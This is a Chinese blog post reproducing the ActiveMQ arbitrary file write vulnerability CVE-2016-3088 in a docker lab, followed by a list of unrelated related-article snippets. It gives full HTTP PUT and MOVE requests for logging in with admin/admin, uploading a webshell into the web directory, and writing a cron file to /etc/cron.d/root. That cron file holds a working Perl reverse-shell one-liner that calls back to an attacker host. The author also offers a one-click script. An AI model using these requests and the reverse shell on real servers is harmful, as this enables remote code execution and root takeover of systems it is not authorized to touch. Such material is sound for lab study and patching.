ActiveMQ任意文件写入漏洞(CVE-2016-3088)

简述:ActiveMQ的fileserver支持写入文件(但是不支持解析jsp),同时也支持移动文件。所以我们只需要先上传到服务器,然后再移动到可以解析的地方即可造成任意文件写入漏洞。我们可以利用这个漏洞来上传webshell或者上传定时任务文件。

漏洞复现

启动环境

docker compose up -d
# 访问http://ip:8186

写入webshell

条件: 必须要登陆

弱口令登录 (admin/admin)

1.查看ACTIVEMQ的绝对路径

http:/192.168.2.103:8186/admin/test/systemProperties.jsp    # 使用admin/admin登录

获取到绝对路径为/opt/activemq

2.发送数据包上传webshell

PUT /fileserver/2.txt HTTP/1.1
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
Content-Length: 6467

webshell

3.移动webshell到web目录下的api文件夹中

MOVE /fileserver/2.txt HTTP/1.1
Destination:file:///opt/activemq/webapps/api/test.jsp
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
If-Modified-Since: Fri, 13 Feb 2015 18:05:11 GMT
Connection: close
Content-Length: 0

发送上面两个数据包,如果响应码均为204即为上传成功。可以访问网站根目录下的api路径查看。

4.连接webshell

直接连接是会报错的,因为这个木马需要登录之后才能访问,所以我们要将请求包中用来鉴权的参数加入到连接器中,这里用蚁剑做例子。

成功连接。

写入Cron文件

条件:Activemq程序必须是root权限运行的,否则无法写入。

1.上传配置文件

PUT /fileserver/test.txt HTTP/1.1
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
Cookie: JSESSIONID=134ekt28ma5xp9c4elldm3mzi
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="ip";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2.移动到定时目录下并改名

MOVE /fileserver/test.txt HTTP/1.1
Destination:file:///etc/cron.d/root
Host: 192.168.2.103:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.6,zh-CN;q=0.5
Cookie: JSESSIONID=134ekt28ma5xp9c4elldm3mzi
Connection: close
Content-Length: 0

3.服务器进行监听,等待定时任务生效

成功接收shell。笔者已将反弹shell的操作写成了脚本可以一键执行,需要的可以加群联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/312266.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

回归预测 | Matlab基于SO-BiLSTM蛇群算法优化双向长短期记忆神经网络的数据多输入单输出回归预测

回归预测 | Matlab基于SO-LSTM蛇群算法优化长短期记忆神经网络的数据多输入单输出回归预测 目录 回归预测 | Matlab基于SO-LSTM蛇群算法优化长短期记忆神经网络的数据多输入单输出回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab基于SO-BiLSTM蛇群算法优…

记录汇川:H5U与Fctory IO测试7

主程序: 子程序: IO映射 子程序: 辅助出料程序 子程序: 辅助上料 子程序: 自动程序 FB块创建: H5U模块添加: Fctory IO配置: HMI配置 实际动作如下: Fctory IO测试7

JDBC

1 连接JDBC jdbc是连接java和数据库的桥梁,对于不同的数据库,如果我们希望用java连接,我们需要下载不同的驱动。这里我们使用mysql数据库,下载驱动。 MySQL :: Download MySQL Connector/J (Archived Versions) (版本…

一卡通水控电控开发踩过的坑

最近在做一个项目,是对接一卡通设备的。我一开始只拿到设备和3个文档开局。不知道从哪下手。一步一步踩坑过来。踩了很多没有必要的坑,写出来给有用的人吧。 读卡器怎么用? 有个读卡器,一开始什么软件也不提供。我都不知道是干嘛…

深信服态势感知一体机SIP-1000 Y2100 3.0.1Y升级3.0.3Y步骤

当前版本:3.0.1Y 升级后版本:3.0.3Y PS:3.0.1Y不能直升3.0.3Y,需要先通过升级工具升级到3.0.2Y,再安装前置补丁从3.0.2Y升级到3.0.3Y;每一次升级时间为20-30分钟,设备升级会重启,需提…

Scrapy框架自学

配置国内镜像源 # pip设置配置 pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple pip config set trusted-host pypi.tuna.tsinghua.edu.cn创建虚拟环境 # 使用conda创建虚拟环境(具体内容请参考课件) conda create -n py_s…

树状结构查询 - 华为OD统一考试

OD统一考试 分值: 200分 题解: Java / Python / C 题目描述 通常使用多行的节点、父节点表示一棵树,比如: 西安 陕西 陕西 中国 江西 中国 中国 亚洲 泰国 亚洲 输入一个节点之后,请打印出来树中他的所有下层节点。 …

Element-ui图片懒加载

核心代码 <el-image src"https://img-blog.csdnimg.cn/direct/2236deb5c315474884599d90a85d761d.png" alt"我是图片" lazy><img slot"error" src"https://img-blog.csdnimg.cn/direct/81bf096a0dff4e5fa58e5f43fd44dcc6.png&quo…

使用paho.mqtt.embedded-c和openssl实现MQTT的单向认证功能

1、背景 由于项目有需求在一个现有的产品上增加MQTT通信的功能&#xff0c;且出于安全考虑&#xff0c;MQTT要走TLS&#xff0c;采用单向认证的方式。 2、方案选择 由于是在现有的产品上新增功能&#xff0c;那么为了减少总的成本&#xff0c;故选择只动应用软件的来实现需求。…

微软Office 2019 批量授权版

软件介绍 微软办公软件套件Microsoft Office 2019 专业增强版2024年1月批量许可版更新推送&#xff01;Office2019正式版2018年10月份推出&#xff0c;主要为多人跨平台办公与团队协作打造。Office2019整合对过去三年在Office365里所有功能&#xff0c;包括对Word、Excel、Pow…

小程序系列--4.协同工作和发布

一、小程序成员管理 1. 成员管理的两个方面 2. 不同项目成员对应的权限 3. 开发者的权限说明 4. 添加项目成员和体验成员 二、小程序的版本 1、小程序的版本 三、发布上线 1. 小程序发布上线的整体步骤 一个小程序的发布上线&#xff0c;一般要经过上传代码 -> 提…

Python: Spire.PDF-for-Python

# encoding: utf-8 # 版权所有 2024 ©涂聚文有限公司 # 许可信息查看&#xff1a; # 描述&#xff1a; # Author : geovindu,Geovin Du 涂聚文. # IDE : PyCharm 2023.1 python 3.11 # Datetime : 2024/1/11 10:32 # User : geovindu # Product : PyChar…

Unity组件开发--长连接webSocket

1.下载安装UnityWebSocket 插件 https://gitee.com/cambright/UnityWebSocket/ 引入unity项目&#xff1a; 2.定义消息体结构&#xff1a;ExternalMessage和包结构Package&#xff1a; using ProtoBuf; using System; using System.Collections; using System.Collections.Ge…

c++全排列

目录 next_permutation()函数 例 perv_permutation()函数 例 next_permutation()函数 next_pernutation()函数用于生成当前序列的下一个排序。它按照字典序对序列进行重新排序&#xff0c;如果存在下一个排列&#xff0c;则将当前序列更改为下一个排列&#xff0c;并返回t…

LeetCode-657/1275/1041

1.机器人能否返回原点&#xff08;657&#xff09; 题目描述&#xff1a; 在二维平面上&#xff0c;有一个机器人从原点 (0, 0) 开始。给出它的移动顺序&#xff0c;判断这个机器人在完成移动后是否在 (0, 0) 处结束。 移动顺序由字符串 moves 表示。字符 move[i] 表示其第 …

达梦数据库的归档模式介绍

几种归档模式 归档是实现数据守护系统的重要技术手段&#xff0c;根据功能与实现方式的不同&#xff0c;DM 数据库的归档可以分为 6 类&#xff1a;本地归档、远程归档、实时归档、即时归档、异步归档和同步归档。 其中&#xff0c;本地归档日志的内容与写入时机与数据库模式…

C语言发展史

前言 当前&#xff0c;C语言是大学广泛应用的计算机教学语言之一&#xff0c;除了文科类专业&#xff0c;大部分理工科专业都会教授C语言&#xff0c;但是&#xff0c;C语言是谁搞出来的&#xff1f;是怎么编译的?相信很多同学对此并不清楚&#xff0c;今天&#xff0c;我们就…

安达发|APS智能排产系统之换产矩阵

在制造业中&#xff0c;生产计划和调度是至关重要的环节。为了提高生产效率、降低成本并满足客户需求&#xff0c;企业需要采用先进的生产管理系统。APS&#xff08;高级计划与排产&#xff09;智能排产系统正是为此而生的一种解决方案。它通过数学模型和算法&#xff0c;实现了…

视频监控设备通过onvif协议接入到视频监控平台

目 录 一、什么是onvif规范 1、onvif的定义 2、onvif的优势 二、AS-V1000监控平台对onvif的支持程度 二、通过onvif接入视频监控设备 1、onvif维护主页面 2、设备发现 3、设备验证 4、设备录入系统 5、通道配置 6、权限分配 三、对onvif设备进行…

im6ull学习总结(三-五)freetype显示正行字

知识补充 笛卡尔坐标系 这里笛卡尔坐标系就是初高中学的直角坐标系的第一象限 lcd坐标系则不同 这两个坐标系如何转换 观察两个坐标系 点&#xff08;x,y&#xff09;的x坐标在两个坐标系中相同&#xff0c;纵坐标&#xff08;y&#xff09;存在着yV-yV V是整个屏幕的行数的像…